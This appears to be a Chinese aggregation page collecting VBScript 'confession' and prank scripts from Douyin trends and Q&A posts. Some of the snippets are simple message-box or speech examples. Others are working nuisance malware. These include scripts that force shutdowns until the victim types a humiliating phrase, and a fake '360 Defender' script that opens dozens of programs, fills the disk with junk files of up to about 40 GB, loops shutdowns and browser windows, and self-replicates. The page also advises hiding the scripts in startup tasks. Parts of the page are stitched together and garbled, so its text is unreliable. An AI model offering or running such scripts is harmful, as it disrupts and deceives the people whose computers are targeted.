vbs整人代码表白,vbs整人代码
vbs整人代码表白,vbs整人代码详细介绍
本文目录一览： 抖音表白代码有哪些？附电脑弹窗抖音表白代码合集
最近在抖音里有很多视频流行玩表白代码，感兴趣的用户们表示想了解表白代码要怎么编写。那么下面小编就为大家介绍了抖音表白代码的详情，希望对你有所帮助。抖音表白代码的汇总：想要自己模仿编写抖音表白代码的话，其实方法还是挺简单的，大家只需要打开电脑使用右键创建TXT文本，从而输入相应的vbs代码来进行表白，不了解vbs代码的朋友可以参考以上模板：1、msgbox("做我女朋友好吗?")2、msgbox("房产证写你名字...保大...我妈会游泳...")3、msgbox("我妈会游泳..")4、x=msgbox("做我女朋友好不好"，VbOkCancel)5、msgbox("爱你，么么哒")在这之后，只要将txt文本后缀名改为.vbs，就可以完成编写了!
我想编写一个vbs整人代码来表白，谁能帮我一下
下边代码才是完成版,2楼有语法错误
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""三分钟内决定是否嫁给我，否则会被关机......"" ",0 ,true
dim a
do while (a <> "我愿意")
a = inputbox ("你愿意嫁给我么","爱的表白","",8000,7000)
if ( a <> "我愿意" ) then
msgbox "不愿意么？再考虑一下哦"
end if
loop
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "哈哈哈哈，好乖"
菜鸟改了两个小时，如下
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""三分钟内决定是否当我的女朋友，否则会被关机......"" ",0 ,true
dim a
do while (a <> "愿意")
a = inputbox ("你愿意当我的女朋友吗","爱的表白","",8000,7000)
if ( a <> "愿意" ) then
msgbox "不愿意么？再考虑一下哦"
end if
loop
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "嘿嘿嘿"
msgbox "叫我老公"
msgbox "快点"
dim b
do while (a <> "老公")
a = inputbox ("叫吧","叫的你就是我老婆了","",8000,7000)
if ( a <> "老公" ) then
msgbox "不愿意叫吗？再考虑一下哦"
end if
loop
msgbox "老婆~"
msgbox "mua~"
msgbox "爱你"
msgbox "嘿嘿"
文字都可随便替换，同时msgbox为弹窗，是可以增加，删除的
on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""三分钟内决定是否嫁给我，否则会被关机......"" ",0 ,true dim ado while(a <> "我愿意") a = inputbox ("你愿意嫁给我么","爱的表白","",8000,7000) if( a <> "我愿意" ) then msgbox “不愿意么？再考虑一下哦"loopdim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox "哈哈哈哈，好乖"里面的汉字自己改成合适的。
如果对方不愿意，真的会被关机哦，请谨慎使用。
如何用vb编写个表白程序
非常简单
打开记事本，输入如下代码：
createobject("SAPI.SPVoice").speak"我爱你"
createobject("SAPI.SPVoice").speak"爱你一生一世"
其中，引号内的中文内容可以自定义。
另存为vbs文件即可。
简单啊~
打开VB新建一个exe工程；
按下F7打开代码窗体；
写入以下代码并生成exe发送给对方即可。
Private Sub Form_Load() MsgBox "I love you~" MsgBox "真的！" MsgBox "..."End SubMsgBox请自由更改以及添加，想说多少加多少。
抖音表白代码怎么写？附代码制作教程
最近有一些朋友对抖音里的表白代码很感兴趣，想知道自己应该怎么制作表白代码。那么下面小编就为大家介绍了抖音表白代码的编写方法，希望能够帮助到你。抖音编写表白代码的步骤：大家想要在抖音里编写表白代码的话，就需要先打开电脑，使用右键创建txt文本，从中输入vbs代码来进行表白，不会编写的朋友可以去百度搜索，具体内容如下所示。当输入：msgbox("做我女朋友好吗?")、msgbox("房产证写你名字...保大...我妈会游泳...")的内容后，点击左上角的“文件”选项，选择“另存为”功能将文件名改为“表白示例.vbs”，保存的类型设置为“所有文件”就可以了。想要编写抖音表白代码的朋友，就可以参考以上方法操作哦!
如何用一段代码告白
恋爱是美好的，可是恋爱的开始是从表白开始的。那么我们如何才能用最简单而又浪漫的方式给那个ta表白呢？下面就大家恋爱的开始。
1首先，我们现在桌面创建一个新建文本文档.txt。
2然后我们打开，在里面输入 msgbox("你想要说的话") 。这里的 msgbox（……） 可以有很多个，一个代表一句话且一个占用一个段落，括号引号必须是英文状态下的，引号内就是你想要说的话。之后保存（快捷键：ctrl+s）
3保存好之后把新建文档重命名，名字可以随便，但扩展名一定要改成 .vbs
4这样就完成了，可以发给心仪的ta了。这个打开之后的窗口是不能关闭的，必须强制性的看完才能关闭。
01
先来第一段弹窗代码：
msgbox"内容A"+chr(13)+"内容B"+chr(13)+"内容C",1,"标题"
将它们复制到文本中，将后缀改成“.vbs”就可以双击执行了。
02
其中“msgbox”代表Windows系统的弹窗警告，内容A、内容B、内容C是大家想在弹窗上显示的文字，而“标题”就是弹窗左上角类似系统警告一类的内容。另外，在“标题”前面的数字“1”代表调用系统按钮的样式，也可以换成2、3、4，共4种按钮样式供大家选择，写好内容的代码应该就是
只有弹窗，视觉效果是有了，但缺乏震撼力！要声色齐全才能唬到人。
所以还要来点语音说教。
03
再新建个文本文档，将以下代码复制进去
把你想让电脑说出来的话输入在“内容”部分，同样保存为“.vbs”后缀即可。电脑就可以直接读出你输入的内容。
04
你说这些文件没有双击运行的话，也不会产生效果。那啥，你就不会把它们隐藏以后加入开机启动项目中吗？
控制面板-管理工具-计划任务，在右侧选择“创建任务”，在上面的标签中选择“触发器”，新建触发器设置为“每天”后，将开始任务更改成“启动时”或你想让弹窗和语音出现的时候，就大功告成了。
05
这两个代码结合起来，想警告、整人，甚至装老司机给女神表白均可使用，如何灵活发挥，就看你的脑洞够不够大了！
抖音表白代码怎么做
很多朋友在刷抖音的时候刷到很多表白代码，很是神奇。想知道这是怎么做的，自己也想弄一个，下面小编为大家带来了抖音表白代码制作教程分享，想学习的朋友快来了解一下吧！抖音表白代码制作教程介绍步骤一：在电脑上新建一个txt文件。步骤二：打开txt文件，复制以下代码粘贴进去(可以修改中文部分，其它代码不要动!)。保存并关闭txt文件。msgbox(做我女朋友好吗?)msgbox(房产证上写你名字)msgbox(保大)msgbox(我妈会游泳)步骤三：将txt文件名称后面的“.txt”改为“.vbs”。步骤四：双击改名后的vbs文件即可看到和抖音视频上一样的效果。注意事项若新建的txt文件不显示“.txt”，可随便打开一个文件夹，再点击【查看】，在【文件扩展名】前面打勾即可。抖音|
vbs整人代码
yourname="呵呵"title="爱情测试"question="你最喜欢的人是谁？请在下面输入他（她）的名字。"info="你在说谎！不要回避，实话实说。"scend="你说出了你的心扉，那就向他（她）告白吧。"doa = inputbox(question,title)if a=yourname thenmsgbox info,vbinformation+vbokonly,titleelseif a="abc" thenmsgbox scend,vbinformation+vbokonly,titleexit doend ifloop不知道为什么你把VBS代码和VB代码混着用了
还有我不知道你的退出循环条件是什么
如果对方输入“呵呵”的话 不是还会一直循环么
我把正确答案改为了abc，如果输入abc就可以退出
你自己改正确答案吧
大量的楼上已经说了。这个是本人原创，亲测有用。毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件（请准备好30G空间）【具体在代码中】
仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" ' 《江南皮革厂倒闭了.mp3》请准备好放在D:\
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)
qwriteb.WriteLine "msgbox " & chr(34) & "滚" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
VBS整人代码
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是脑残，不说我是脑残就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是脑残")
a = inputbox ("说我是脑残,就不关机，快撒，说 ""我是脑残"" ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说你是脑残就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""快说“我是脑残”，不说我是脑残就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是脑残")
a = inputbox ("说我是脑残,就不关机，快撒，说 ""我是脑残"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
msgbox chr(13) + chr(13) + chr(13) + "乖孩子真听话啊"
msgbox chr(13) + chr(13) + chr(13) + "下次叔叔买糖给你吃"
msgbox chr(13) + chr(13) + chr(13) + "要吃什么糖啊"
msgbox chr(13) + chr(13) + chr(13) + "什么，大白兔？"
msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了长石头啊"
msgbox chr(13) + chr(13) + chr(13) + "要不叔叔给你讲个故事"
msgbox chr(13) + chr(13) + chr(13) + "从前有个山"
msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"
msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"
msgbox chr(13) + chr(13) + chr(13) + "老和尚在给小和尚讲故事"
msgbox chr(13) + chr(13) + chr(13) + "讲什么故事呢"
msgbox chr(13) + chr(13) + chr(13) + "故事是这样的"
msgbox chr(13) + chr(13) + chr(13) + "从前有个山"
msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"
msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"
msgbox chr(13) + chr(13) + chr(13) + "什么，不听了"
msgbox chr(13) + chr(13) + chr(13) + "别哭别哭，叔叔给你买糖！"
复制代码一个整人的小代码，“说我是猪就不关机”
把上面的代码复制到记事本里，把后缀名改成.VBE
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 7 -c ""说我是脑残，不说我是脑残就关你机！···"" ",0 ,true
dim a
do while(a <> "我是脑残")
a = inputbox ("说我是脑残,就不关机，快撒，说 ""我是脑残"" ","说不说","我才不是变态！",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你真的是脑残~"
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是脑残，不说你是脑残就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "你是脑残")
a = inputbox ("说你是脑残,就不关机，快撒，说 ""你是脑残"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你确实是脑残加浩然QQ13800~"
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是脑残，不说我是脑残就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是脑残")
a = inputbox ("说我是脑残,就不关机，快撒，说 ""我是脑残"" ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说你是脑残就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。555555")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
超爽的！很有感情...
李询表白代码怎么打卡
你好可以通过以下步骤操作
1、在桌面新建文本文档，打开文本文档输入代码。
2、输入完成以后，单击“文件”，选择“另存为”，输入文件名为“重要信息.vbs”，保存类型为“所有文件”。
3、完成后单击桌面上的文件试试，必须输入“名字”才能关闭这个窗口
李洵爱心代码如下：1*爱心代码：*/#include#include#include#include#define U 0.1#define V 0.053void SetColor(unsigned shortForeColor, unsigned shortBackGroundColor)
VBS我的表白代码是无效字符
on error resume next 才对
第二无效字符 一般是代码中的符号需要用英文状态下的输入法输入 比如
msgbox “1” 这2个引号用的是中文输入法下的双引号 就会报错